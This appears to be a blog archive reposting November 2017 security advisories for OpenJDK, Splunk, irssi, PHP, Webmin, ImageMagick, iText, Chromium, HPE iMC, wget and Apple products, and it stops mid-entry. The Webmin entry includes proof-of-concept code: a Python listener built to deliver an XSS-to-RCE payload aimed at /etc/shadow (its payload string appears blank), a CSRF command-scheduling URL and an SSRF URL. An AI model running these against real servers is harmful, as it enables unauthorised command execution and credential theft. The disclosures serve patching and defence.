2017 m. lapkričio 9 d., ketvirtadienis

[SECURITY] [DSA 4015-1] openjdk-8 security update

- ------------------------------------------------------------------------- Debian Security Advisory DSA-4015-1 security@debian.org https://www.debian.org/security/ Moritz Muehlenhoff November 02, 2017 https://www.debian.org/security/faq - ------------------------------------------------------------------------- Package : openjdk-8 CVE ID : CVE-2017-10274 CVE-2017-10281 CVE-2017-10285 CVE-2017-10295 CVE-2017-10345 CVE-2017-10346 CVE-2017-10347 CVE-2017-10348 CVE-2017-10349 CVE-2017-10350 CVE-2017-10355 CVE-2017-10356 CVE-2017-10357 CVE-2017-10388 Several vulnerabilities have been discovered in OpenJDK, an implementation of the Oracle Java platform, resulting in impersonation of Kerberos services, denial of service, sandbox bypass or HTTP header injection. For the stable distribution (stretch), these problems have been fixed in version 8u151-b12-1~deb9u1. We recommend that you upgrade your openjdk-8 packages. Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: https://www.debian.org/security/

KL-001-2017-022 : Splunk Local Privilege Escalation

KL-001-2017-022 : Splunk Local Privilege Escalation Title: Splunk Local Privilege Escalation Advisory ID: KL-001-2017-022 Publication Date: 2017.11.03 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-022.txt 1. Vulnerability Details Affected Vendor: Splunk Affected Product: Splunk Enterprise Affected Version: 6.6.x Platform: Embedded Linux CWE Classification: CWE-280: Improper Handling of Insufficient Permissions or Privileges Impact: Privilege Escalation Attack vector: Local 2. Vulnerability Description Splunk can be configured to run as a non-root user. However, that user owns the configuration file that specifies the user to run as, so it can trivially gain root privileges. 3. Technical Description Splunk runs multiple daemons and network listeners as root by default. It can be configured to drop privileges to a specified non-root user at startup such as user splunk, via the SPLUNK_OS_USER variable in the splunk-launch.conf file in $SPLUNK_HOME/etc/ (such as /opt/splunk/etc/splunk-launch.conf). However, the instructions for enabling such a setup call for chown'ing the entire $SPLUNK_HOME directory to that same non-root user. For instance: http://docs.splunk.com/Documentation/Splunk/6.6.2/Installation/RunSplunkasadifferentornon-rootuser "4. Run the chown command to change the ownership of the splunk directory and everything under it to the user that you want to run the software. chown -R splunk:splunk $SPLUNK_HOME" Therefore, if an attacker gains control of the splunk account, they can modify $SPLUNK_HOME/etc/splunk-launch.conf to remove/unset SPLUNK_OS_USER so that the software will retain root privileges, and place backdoors under $SPLUNK_HOME/bin/, etc. that will take malicious actions as user root the next time Splunk is restarted. 4. Mitigation and Remediation Recommendation The vendor has published a mitigation for this vulnerability at: https://www.splunk.com/view/SP-CAAAP3M 5. Credit This vulnerability was discovered by Hank Leininger of KoreLogic, Inc. 6. Disclosure Timeline 2017.08.17 - KoreLogic submits vulnerability details to Splunk. 2017.08.17 - Splunk confirms receipt. 2017.08.22 - Splunk notifies KoreLogic that the issue has been assigned an internal ticket and will be addressed. 2017.09.29 - 30 business days have elapsed since the vulnerability was reported to Splunk. 2017.10.17 - KoreLogic requests an update from Splunk. 2017.10.18 - Splunk informs KoreLogic that they will issue an advisory on October 28th. 2017.10.23 - 45 business days have elapsed since the vulnerability was reported to Splunk. 2017.10.30 - Splunk notifies KoreLogic that the advisory is published. 2017.11.03 - KoreLogic public disclosure. 7. Proof of Concept See 3. Technical Description. The contents of this advisory are copyright(c) 2017 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt

[SECURITY] [DSA 4016-1] irssi security update

- ------------------------------------------------------------------------- Debian Security Advisory DSA-4016-1 security@debian.org https://www.debian.org/security/ Salvatore Bonaccorso November 03, 2017 https://www.debian.org/security/faq - ------------------------------------------------------------------------- Package : irssi CVE ID : CVE-2017-10965 CVE-2017-10966 CVE-2017-15227 CVE-2017-15228 CVE-2017-15721 CVE-2017-15722 CVE-2017-15723 Debian Bug : 867598 879521 Multiple vulnerabilities have been discovered in Irssi, a terminal based IRC client. The Common Vulnerabilities and Exposures project identifies the following problems: CVE-2017-10965 Brian 'geeknik' Carpenter of Geeknik Labs discovered that Irssi does not properly handle receiving messages with invalid time stamps. A malicious IRC server can take advantage of this flaw to cause Irssi to crash, resulting in a denial of service. CVE-2017-10966 Brian 'geeknik' Carpenter of Geeknik Labs discovered that Irssi is susceptible to a use-after-free flaw triggered while updating the internal nick list. A malicious IRC server can take advantage of this flaw to cause Irssi to crash, resulting in a denial of service. CVE-2017-15227 Joseph Bisch discovered that while waiting for the channel synchronisation, Irssi may incorrectly fail to remove destroyed channels from the query list, resulting in use after free conditions when updating the state later on. A malicious IRC server can take advantage of this flaw to cause Irssi to crash, resulting in a denial of service. CVE-2017-15228 Hanno Boeck reported that Irssi does not properly handle installing themes with unterminated colour formatting sequences, leading to a denial of service if a user is tricked into installing a specially crafted theme. CVE-2017-15721 Joseph Bisch discovered that Irssi does not properly handle incorrectly formatted DCC CTCP messages. A malicious IRC server can take advantage of this flaw to cause Irssi to crash, resulting in a denial of service. CVE-2017-15722 Joseph Bisch discovered that Irssi does not properly verify Safe channel IDs. A malicious IRC server can take advantage of this flaw to cause Irssi to crash, resulting in a denial of service. CVE-2017-15723 Joseph Bisch reported that Irssi does not properly handle overlong nicks or targets resulting in a NULL pointer dereference when splitting the message and leading to a denial of service. For the oldstable distribution (jessie), these problems have been fixed in version 0.8.17-1+deb8u5. For the stable distribution (stretch), these problems have been fixed in version 1.0.2-1+deb9u3. CVE-2017-10965 and CVE-2017-10966 were already fixed in an earlier point release. We recommend that you upgrade your irssi packages. Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: https://www.debian.org/security/

[VulnWatch] Advisory 02/2002: PHP remote vulnerability

www.e-matters.de -= Security Advisory =- Advisory: Remote Compromise/DOS Vulnerability in PHP Release Date: 2002/07/22 Last Modified: 2002/07/22 Author: Stefan Esser [s.esser@e-matters.de] Application: PHP 4.2.0, 4.2.1 Severity: A vulnerability within the multipart/form-data handler could allow remote compromise of the web server. Risk: Critical Vendor Status: Patches Released. Reference: http://security.e-matters.de/advisories/022002.html Overview: We have discovered a serious vulnerability within the default version of PHP. Depending on the processor architecture it may be possible for a remote attacker to either crash or compromise the web server. Details: PHP 4.2.0 introduced a completely rewritten multipart/form-data POST handler. While I was working on the code in my role as PHP developer i found a bug within the way the mime headers are processed. A malformed POST request can trigger an error condition, that is not correctly handled. Due to this bug it could happen that an uninit- ialised struct gets appended to the linked list of mime headers. When the lists gets cleaned or destroyed PHP tries to free the pointers that are expected in the struct. Because of the lack of initialisation those pointers contain stuff that was left on the stack by previous function calls. On the IA32 architecture (aka. x86) it is not possible to control what will end up in the uninitialised struct because of the stack layout. All possible code paths leave illegal addresses within the struct and PHP will crash when it tries to free them. Unfortunately the situation is absolutely different if you look on a solaris sparc installation. Here it is possible for an attacker to free chunks of memory that are full under his control. This is most probably the case for several more non IA32 architectures. Please note that exploitability is not only limited to systems that are running malloc()/free() implementations that are known to be vulnerable to control structure overwrites. This is because the internal PHP memory managment implements its own linked list system that can be used to overwrite nearly arbitrary memory addresses. Proof of Concept: e-matters is not going to release the exploit for this vulnerability to the public. Vendor Response: 22th July 2002 - An updated version of PHP which fixes this vulnerability was released and can be downloaded at: http://www.php.net/downloads.php The vendor announcement is available at: http://www.php.net/release_4_2_2.php Recommendation: If you are running PHP 4.2.x you should upgrade as soon as possible, especially if your server runs on a non IA32 CPU. If you cannot upgrade for whatever reason the only way to workaround this, is to disable all kinds of POST requests on your server. GPG-Key: http://security.e-matters.de/gpg_key.asc pub 1024D/75E7AAD6 2002-02-26 e-matters GmbH - Securityteam Key fingerprint = 43DD 843C FAB9 832A E5AB CAEB 81F2 8110 75E7 AAD6 Copyright 2002 Stefan Esser. All rights reserved.

Webmin v1.850 Remote Code Execution (hyp3rlinx / apparitionsec)

[+] SSD Beyond Security: https://blogs.securiteam.com/index.php/archives/3430 [+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/WEBMIN-v1.850-REMOTE-COMMAND-EXECUTION.txt [+] ISR: ApparitionSec Vulnerability summary The following advisory describes three (3) vulnerabilities found in Webmin version 1.850 Webmin “is a web-based interface for system administration for Unix. Using any modern web browser, you can setup user accounts, Apache, DNS, file sharing and much more. Webmin removes the need to manually edit Unix configuration files like /etc/passwd, and lets you manage a system from the console or remotely. See the standard modules page for a list of all the functions built into Webmin.” The vulnerabilities found are: XSS vulnerability that leads to Remote Code Execution CSRF Schedule arbitrary commands Server Side Request Forgery Credit An independent security researcher, hyp3rlinx, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program Vendor response The vendor has released patches to address these vulnerabilities. For more information: https://github.com/webmin/webmin/commit/0c58892732ee7610a7abba5507614366d382c9c9 and http://www.webmin.com/security.html Vulnerability details XSS vulnerability that leads to Remote Code Execution Under Webmin menu ‘Others/File Manager‘ there is option to download a file from a remote server ‘Download from remote URL‘. By setting up a malicious server we can wait for file download request then send a XSS payload that will lead to Remote Code Execution. Webmin echo back the ‘File Download‘ request status which we can trigger the XSS vulnerability and bypass this Referrer check by setting the domain=webmin-victim-ip. Proof of Concept import socket #=================================================== #Run this script and listen for file download from webmin #Enter payload to execute RCE #wait for webmin to connect and download file #Vulnerability is in Menu/Others/File Manager #issue is webmin echoes back status of the download #by injecting XSS we bypass the Referer: check by assign #domain to victims own IP, then execute our RCE #----------------------------------------------------------- #e.g. #Download from remote URL #http://x.x.x.x:10000/shell/index.cgi #> whoami #root PORT=int(raw_input("[PORT]> ")) #port we listen on for file download requests WEBMIN_IP=raw_input("[Webmin IP]> ") #victim #Read /etc/shadow file CMD=("/>"+ "
"+ "
") s = socket.socket() HOST = '' s.bind((HOST, PORT)) s.listen(5) print '\nwebmin file download 0day...' while True: conn, addr = s.accept() conn.send(CMD+'\r\n') print 'Connected!' print s.recv(1024) conn.close() s.close() CSRF Schedule arbitrary commands User controlled input is not sufficiently sanitized, by sending GET request to create_job.cgi with the following parameter dir=/&cmd=ls an attacker to execute arbitrary commands. Proof of Concept http://x.x.x.x:10000/at/create_job.cgi?user=root&day=31&month=7&year=2017&hour=2&min=00&dir=/&cmd=ls -lt&mail=0 Server Side Request Forgery User controlled input is not sufficiently sanitized, by sending GET request to tunnel/link.cgi/http://VICTIM-IP:8000 an attacker can trigger the vulnerability Proof of Concept http://x.x.x.x:10000/tunnel/link.cgi/http://VICTIM-IP:8000 Network Access: =============== Remote Severity: ========= High Disclosure Timeline: ==================== Would like to acknowledge Beyond Security’s SSD program for the help with co-ordination of this vulnerability. More details can be found on their blog at: https://blogs.securiteam.com/index.php/archives/3430 [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx

[SECURITY] [DSA 4019-1] imagemagick security update

- ------------------------------------------------------------------------- Debian Security Advisory DSA-4019-1 security@debian.org https://www.debian.org/security/ Moritz Muehlenhoff November 05, 2017 https://www.debian.org/security/faq - ------------------------------------------------------------------------- Package : imagemagick CVE ID : CVE-2017-9500 CVE-2017-11446 CVE-2017-11523 CVE-2017-11533 CVE-2017-11535 CVE-2017-11537 CVE-2017-11639 CVE-2017-11640 CVE-2017-12428 CVE-2017-12431 CVE-2017-12432 CVE-2017-12434 CVE-2017-12587 CVE-2017-12640 CVE-2017-12671 CVE-2017-13139 CVE-2017-13140 CVE-2017-13141 CVE-2017-13142 CVE-2017-13143 CVE-2017-13144 CVE-2017-13145 Debian Bug : 870526 870491 870116 870111 870109 870106 870119 870105 870065 870014 869210 870067 870012 869834 869830 869827 868950 869728 869712 869715 869713 867778 This update fixes several vulnerabilities in imagemagick: Various memory handling problems and cases of missing or incomplete input sanitising may result in denial of service, memory disclosure or the execution of arbitrary code if malformed image files are processed. For the stable distribution (stretch), this problem has been fixed in version 8:6.9.7.4+dfsg-11+deb9u2. We recommend that you upgrade your imagemagick packages. Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: https://www.debian.org/security/

CVE-2017-9096 iText XML External Entity Vulnerability

################################################################## # # COMPASS SECURITY ADVISORY # https://www.compass-security.com/en/research/advisories/ # ################################################################## # # Product: iText PDF Library # Vendor: iText Group # CVE ID: CVE-2017-9096 # CSNC ID: CSNC-2017-017 # Subject: XML External Entity Attack (XXE) # Risk: Medium # Effect: Remotely exploitable # Author: Benjamin Bruppacher # Date: 2017-11-06 # ################################################################## Introduction: ------------- iText is a software developer toolkit that allows users to integrate PDF functionalities within their applications, processes or products. The used XML parsers inside the library are not configured to disable external entities. This can be used for XML External Entity Attacks[1]. Affected versions: --------- Vulnerable: * 2.0.8 * 5.5.11 * 7.0.2 Not vulnerable: * 5.5.12 * 7.0.3 Technical Description --------------------- The attack can be carried out by submitting a malicious PDF to an iText application that parses XML data. By providing a malicious XXE payloads inside the XML data that resides in the PDF, an attacker can for example extract files or forge requests on the server. Timeline: --------- 2017-05-10: Discovery by Benjamin Bruppacher 2017-05-15: Initial vendor notification 2017-08-01: Vendor releases patch 2017-11-06: Disclosure of the advisory References: ----------- [1] https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing

[SECURITY] [DSA 4020-1] chromium-browser security update

- ------------------------------------------------------------------------- Debian Security Advisory DSA-4020-1 security@debian.org https://www.debian.org/security/ Michael Gilbert November 05, 2017 https://www.debian.org/security/faq - ------------------------------------------------------------------------- Package : chromium-browser CVE ID : CVE-2017-5124 CVE-2017-5125 CVE-2017-5126 CVE-2017-5127 CVE-2017-5128 CVE-2017-5129 CVE-2017-5131 CVE-2017-5132 CVE-2017-5133 CVE-2017-15386 CVE-2017-15387 CVE-2017-15388 CVE-2017-15389 CVE-2017-15390 CVE-2017-15391 CVE-2017-15392 CVE-2017-15393 CVE-2017-15394 CVE-2017-15395 CVE-2017-15396 Several vulnerabilities have been discovered in the chromium web browser. In addition, this message serves as an annoucment that security support for chromium in the oldstable release (jessie), Debian 8, is now discontinued. Debian 8 chromium users that desire continued security updates are strongly encouraged to upgrade now to the current stable release (stretch), Debian 9. An alternative is to switch to the firefox browser, which will continue to receive security updates in jessie for some time. CVE-2017-5124 A cross-site scripting issue was discovered in MHTML. CVE-2017-5125 A heap overflow issue was discovered in the skia library. CVE-2017-5126 Luat Nguyen discovered a use-after-free issue in the pdfium library. CVE-2017-5127 Luat Nguyen discovered another use-after-free issue in the pdfium library. CVE-2017-5128 Omair discovered a heap overflow issue in the WebGL implementation. CVE-2017-5129 Omair discovered a use-after-free issue in the WebAudio implementation. CVE-2017-5131 An out-of-bounds write issue was discovered in the skia library. CVE-2017-5132 Guarav Dewan discovered an error in the WebAssembly implementation. CVE-2017-5133 Aleksandar Nikolic discovered an out-of-bounds write issue in the skia library. CVE-2017-15386 WenXu Wu discovered a user interface spoofing issue. CVE-2017-15387 Jun Kokatsu discovered a way to bypass the content security policy. CVE-2017-15388 Kushal Arvind Shah discovered an out-of-bounds read issue in the skia library. CVE-2017-15389 xisigr discovered a URL spoofing issue. CVE-2017-15390 Haosheng Wang discovered a URL spoofing issue. CVE-2017-15391 Joao Lucas Melo Brasio discovered a way for an extension to bypass its limitations. CVE-2017-15392 Xiaoyin Liu discovered an error the implementation of registry keys. CVE-2017-15393 Svyat Mitin discovered an issue in the devtools. CVE-2017-15394 Sam discovered a URL spoofing issue. CVE-2017-15395 Johannes Bergman discovered a null pointer dereference issue. CVE-2017-15396 Yuan Deng discovered a stack overflow issue in the v8 javascript library. For the oldstable distribution (jessie), security support for chromium has been discontinued. For the stable distribution (stretch), these problems have been fixed in version 62.0.3202.75-1~deb9u1. For the testing distribution (buster), these problems will be fixed soon. For the unstable distribution (sid), these problems have been fixed in version 62.0.3202.75-1. We recommend that you upgrade your chromium-browser packages. Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: https://www.debian.org/security/

[SECURITY] [DSA 4021-1] otrs2 security update

- ------------------------------------------------------------------------- Debian Security Advisory DSA-4021-1 security@debian.org https://www.debian.org/security/ Moritz Muehlenhoff November 07, 2017 https://www.debian.org/security/faq - ------------------------------------------------------------------------- Package : otrs2 CVE ID : CVE-2017-14635 It was discovered that missing input validation in the Open Ticket Request System could result in privilege escalation by an agent with write permissions for statistics. For the oldstable distribution (jessie), this problem has been fixed in version 3.3.18-1+deb8u1. For the stable distribution (stretch), this problem has been fixed in version 5.0.16-1+deb9u2. We recommend that you upgrade your otrs2 packages. Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: https://www.debian.org/security/

2017 m. lapkričio 1 d., trečiadienis

[security bulletin] HPESBHF03787 rev.1 - Hewlett Packard Enterprise Intelligent Management Center (iMC) PLAT, Deserialization of Untrusted Data, Remote Code Execution

SUPPORT COMMUNICATION - SECURITY BULLETIN Document ID: hpesbhf03787en_us Version: 1 HPESBHF03787 rev.1 - Hewlett Packard Enterprise Intelligent Management Center (iMC) PLAT, Deserialization of Untrusted Data, Remote Code Execution NOTICE: The information in this Security Bulletin should be acted upon as soon as possible. Release Date: 2017-10-27 Last Updated: 2017-10-27 Potential Security Impact: Remote: Code Execution Source: Hewlett Packard Enterprise, Product Security Response Team VULNERABILITY SUMMARY Security vulnerabilities in HPE Intelligent Management Center (iMC) PLAT products could be exploited to allow Remote Code Execution. References: - CVE-2017-8962 - ZDI-CAN-4810, PSRT110446 - CVE-2017-8963 - ZDI-CAN-4811, PSRT110447 - CVE-2017-8964 - ZDI-CAN-4812, PSRT110448 - CVE-2017-8965 - ZDI-CAN-4814, PSRT110450 - CVE-2017-8966 - ZDI-CAN-4815, PSRT110451 - CVE-2017-8967 - ZDI-CAN-4813, PSRT110449 SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed. - HPE Intelligent Management Center (iMC) iMC Plat 7.3 E0504P2 BACKGROUND CVSS Base Metrics ================= Reference, CVSS V3 Score/Vector, CVSS V2 Score/Vector CVE-2017-8962 8.8 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 9.0 (AV:N/AC:L/Au:S/C:C/I:C/A:C) CVE-2017-8963 8.8 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 9.0 (AV:N/AC:L/Au:S/C:C/I:C/A:C) CVE-2017-8964 8.8 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 9.0 (AV:N/AC:L/Au:S/C:C/I:C/A:C) CVE-2017-8965 8.8 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 9.0 (AV:N/AC:L/Au:S/C:C/I:C/A:C) CVE-2017-8966 8.8 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 9.0 (AV:N/AC:L/Au:S/C:C/I:C/A:C) CVE-2017-8967 8.8 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 9.0 (AV:N/AC:L/Au:S/C:C/I:C/A:C) Information on CVSS is documented in HPE Customer Notice HPSN-2008-002 here: https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c01345499 Hewlett Packard Enterprise would like to thank Steven Seeley (mr_me) of Offensive Security, working with Trend Micro's Zero Day Initiative, for reporting these security vulnerabilities in Intelligent Management Center (iMC) PLAT to security-alert@hpe.com. RESOLUTION HPE has provided the following software updates and mitigation information to resolve the vulnerabilities in HPE Intelligent Management Center (iMC) PLAT. HPE Intelligent Management Center (iMC) PLAT 7.3 E0506P03 fixes the vulnerabilities in the following products: + **iMC PLAT - Version: Fixed in IMC PLAT 7.3 E0506P03** * HP Network Products - JD125A HP IMC Std S/W Platform w/100-node - JD126A HP IMC Ent S/W Platform w/100-node - JD808A HP IMC Ent Platform w/100-node License - JD814A HP A-IMC Enterprise Edition Software DVD Media - JD815A HP IMC Std Platform w/100-node License - JD816A HP A-IMC Standard Edition Software DVD Media - JF288AAE HP Network Director to Intelligent Management Center Upgrade E-LTU - JF289AAE HP Enterprise Management System to Intelligent Management Center Upgrade E-LTU - JF377A HP IMC Std S/W Platform w/100-node Lic - JF377AAE HP IMC Std S/W Pltfrm w/100-node E-LTU - JF378A HP IMC Ent S/W Platform w/200-node Lic - JF378AAE HP IMC Ent S/W Pltfrm w/200-node E-LTU - JG546AAE HP IMC Basic SW Platform w/50-node E-LTU - JG548AAE HP PCM+ to IMC Bsc Upgr w/50-node E-LTU - JG549AAE HP PCM+ to IMC Std Upgr w/200-node E-LTU - JG747AAE HP IMC Std SW Plat w/ 50 Nodes E-LTU - JG748AAE HP IMC Ent SW Plat w/ 50 Nodes E-LTU - JG768AAE HP PCM+ to IMC Std Upg w/ 200-node E-LTU - JG550AAE HPE PCM+ Mobility Manager to IMC Basic WLAN Platform Upgrade 50-node and 150-AP E-LTU - JG590AAE HPE IMC Basic WLAN Manager Software Platform 50 Access Point E-LTU - JG660AAE HP IMC Smart Connect with Wireless Manager Virtual Appliance Edition E-LTU - JG766AAE HP IMC Smart Connect Virtual Appliance Edition E-LTU - JG767AAE HP IMC Smart Connect with Wireless Manager Virtual Appliance Edition E-LTU - JG768AAE HPE PCM+ to IMC Standard Software Platform Upgrade with 200-node E-LTU - JH704AAE Aruba IMC Std SW Plat w/50-node E-LTU - JH705AAE Aruba IMC Ent SW Plat w/50-node E-LTU HISTORY Version:1 (rev.1) - 27 October 2017 Initial release Third Party Security Patches: Third party security patches that are to be installed on systems running Hewlett Packard Enterprise (HPE) software products should be applied in accordance with the customer's patch management policy. Support: For issues about implementing the recommendations of this Security Bulletin, contact normal HPE Services support channel. For other issues about the content of this Security Bulletin, send e-mail to security-alert@hpe.com. Report: To report a potential security vulnerability for any HPE supported product: Web form: https://www.hpe.com/info/report-security-vulnerability Email: security-alert@hpe.com Subscribe: To initiate a subscription to receive future HPE Security Bulletin alerts via Email: http://www.hpe.com/support/Subscriber_Choice Security Bulletin Archive: A list of recently released Security Bulletins is available here: http://www.hpe.com/support/Security_Bulletin_Archive Software Product Category: The Software Product Category is represented in the title by the two characters following HPSB. 3C = 3COM 3P = 3rd Party Software GN = HPE General Software HF = HPE Hardware and Firmware MU = Multi-Platform Software NS = NonStop Servers OV = OpenVMS PV = ProCurve ST = Storage Software UX = HP-UX Copyright 2016 Hewlett Packard Enterprise

[slackware-security] wget (SSA:2017-300-02)

[slackware-security] wget (SSA:2017-300-02) New wget packages are available for Slackware 13.0, 13.1, 13.37, 14.0, 14.1, 14.2, and -current to fix security issues. Here are the details from the Slackware 14.2 ChangeLog: +--------------------------+ patches/packages/wget-1.19.2-i586-1_slack14.2.txz: Upgraded. This update fixes stack and heap overflows in in HTTP protocol handling. For more information, see: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-13089 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-13090 (* Security fix *) +--------------------------+ Where to find the new packages: +-----------------------------+ Thanks to the friendly folks at the OSU Open Source Lab (http://osuosl.org) for donating FTP and rsync hosting to the Slackware project! :-) Also see the "Get Slack" section on http://slackware.com for additional mirror sites near you. Updated package for Slackware 13.0: ftp://ftp.slackware.com/pub/slackware/slackware-13.0/patches/packages/wget-1.19.2-i486-1_slack13.0.txz Updated package for Slackware x86_64 13.0: ftp://ftp.slackware.com/pub/slackware/slackware64-13.0/patches/packages/wget-1.19.2-x86_64-1_slack13.0.txz Updated package for Slackware 13.1: ftp://ftp.slackware.com/pub/slackware/slackware-13.1/patches/packages/wget-1.19.2-i486-1_slack13.1.txz Updated package for Slackware x86_64 13.1: ftp://ftp.slackware.com/pub/slackware/slackware64-13.1/patches/packages/wget-1.19.2-x86_64-1_slack13.1.txz Updated package for Slackware 13.37: ftp://ftp.slackware.com/pub/slackware/slackware-13.37/patches/packages/wget-1.19.2-i486-1_slack13.37.txz Updated package for Slackware x86_64 13.37: ftp://ftp.slackware.com/pub/slackware/slackware64-13.37/patches/packages/wget-1.19.2-x86_64-1_slack13.37.txz Updated package for Slackware 14.0: ftp://ftp.slackware.com/pub/slackware/slackware-14.0/patches/packages/wget-1.19.2-i486-1_slack14.0.txz Updated package for Slackware x86_64 14.0: ftp://ftp.slackware.com/pub/slackware/slackware64-14.0/patches/packages/wget-1.19.2-x86_64-1_slack14.0.txz Updated package for Slackware 14.1: ftp://ftp.slackware.com/pub/slackware/slackware-14.1/patches/packages/wget-1.19.2-i486-1_slack14.1.txz Updated package for Slackware x86_64 14.1: ftp://ftp.slackware.com/pub/slackware/slackware64-14.1/patches/packages/wget-1.19.2-x86_64-1_slack14.1.txz Updated package for Slackware 14.2: ftp://ftp.slackware.com/pub/slackware/slackware-14.2/patches/packages/wget-1.19.2-i586-1_slack14.2.txz Updated package for Slackware x86_64 14.2: ftp://ftp.slackware.com/pub/slackware/slackware64-14.2/patches/packages/wget-1.19.2-x86_64-1_slack14.2.txz Updated package for Slackware -current: ftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/n/wget-1.19.2-i586-1.txz Updated package for Slackware x86_64 -current: ftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/n/wget-1.19.2-x86_64-1.txz MD5 signatures: +-------------+ Slackware 13.0 package: 6a2fdea44aeb773a883b8179fa05f8dd wget-1.19.2-i486-1_slack13.0.txz Slackware x86_64 13.0 package: 1cbdea2a72f55841ec7497a33a4050d2 wget-1.19.2-x86_64-1_slack13.0.txz Slackware 13.1 package: 2b931c21e366f28c3ec3d566895808e1 wget-1.19.2-i486-1_slack13.1.txz Slackware x86_64 13.1 package: 3a0040373718b879ff81a590821cc957 wget-1.19.2-x86_64-1_slack13.1.txz Slackware 13.37 package: 63e6d6396de6264109fc5db75a89a1fa wget-1.19.2-i486-1_slack13.37.txz Slackware x86_64 13.37 package: 19a525ee83e14446902d4bb4fe0850c8 wget-1.19.2-x86_64-1_slack13.37.txz Slackware 14.0 package: c57618f9fa8a13d00989ebf03622803b wget-1.19.2-i486-1_slack14.0.txz Slackware x86_64 14.0 package: 4d0fecab36336e9b00f841881852a619 wget-1.19.2-x86_64-1_slack14.0.txz Slackware 14.1 package: b32791160dcf03d91721644a2d997c03 wget-1.19.2-i486-1_slack14.1.txz Slackware x86_64 14.1 package: c534b54abed76e5bb452f06cb3fd0f7e wget-1.19.2-x86_64-1_slack14.1.txz Slackware 14.2 package: 1d20fe71cba764a5fd516329b3c84043 wget-1.19.2-i586-1_slack14.2.txz Slackware x86_64 14.2 package: 52f27f37dc54642f430790ba1f7ba5db wget-1.19.2-x86_64-1_slack14.2.txz Slackware -current package: c528ea9f78c9658d620951fe575e2757 n/wget-1.19.2-i586-1.txz Slackware x86_64 -current package: d3bdaa039410b993ac729bf88c80905f n/wget-1.19.2-x86_64-1.txz Installation instructions: +------------------------+ Upgrade the package as root: # upgradepkg wget-1.19.2-i586-1_slack14.2.txz +-----+ Slackware Linux Security Team http://slackware.com/gpg-key security@slackware.com

APPLE-SA-2017-10-31-4 watchOS 4.1

APPLE-SA-2017-10-31-4 watchOS 4.1 watchOS 4.1 is now available and addresses the following: CoreText Available for: All Apple Watch models Impact: Processing a maliciously crafted text file may lead to an unexpected application termination Description: A denial of service issue was addressed through improved memory handling. CVE-2017-13849: Ro of SavSec Kernel Available for: All Apple Watch models Impact: An application may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue was addressed with improved memory handling. CVE-2017-13799: an anonymous researcher StreamingZip Available for: All Apple Watch models Impact: A malicious zip file may be able modify restricted areas of the file system Description: A path handling issue was addressed with improved validation. CVE-2017-13804: @qwertyoruiopz at KJC Research Intl. S.R.L. Wi-Fi Available for: Apple Watch Series 1 and Apple Watch Series 2 Impact: An attacker in Wi-Fi range may force nonce reuse in WPA clients (Key Reinstallation Attacks - KRACK) Description: A logic issue existed in the handling of state transitions. This was addressed with improved state management. CVE-2017-13080: Mathy Vanhoef of the imec-DistriNet group at KU Leuven Installation note: Instructions on how to update your Apple Watch software are available at https://support.apple.com/kb/HT204641 To check the version on your Apple Watch, open the Apple Watch app on your iPhone and select "My Watch > General > About". Alternatively, on your watch, select "My Watch > General > About". Information will also be posted to the Apple Security Updates web site: https://support.apple.com/kb/HT201222

APPLE-SA-2017-10-31-9 Additional information for APPLE-SA-2017-09-19-1 iOS 11

APPLE-SA-2017-10-31-9 Additional information for APPLE-SA-2017-09-19-1 iOS 11 iOS 11 addresses the following: 802.1X Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An attacker may be able to exploit weaknesses in TLS 1.0 Description: A protocol security issue was addressed by enabling TLS 1.1 and TLS 1.2. CVE-2017-13832: an anonymous researcher Entry added October 31, 2017 Bluetooth Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to access restricted files Description: A privacy issue existed in the handling of Contact cards. This was addressed with improved state management. CVE-2017-7131: Dominik Conrads of Federal Office for Information Security, an anonymous researcher, Elvis (@elvisimprsntr), an anonymous researcher CFNetwork Proxies Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An attacker in a privileged network position may be able to cause a denial of service Description: Multiple denial of service issues were addressed through improved memory handling. CVE-2017-7083: Abhinav Bansal of Zscaler Inc. CFString Available for: 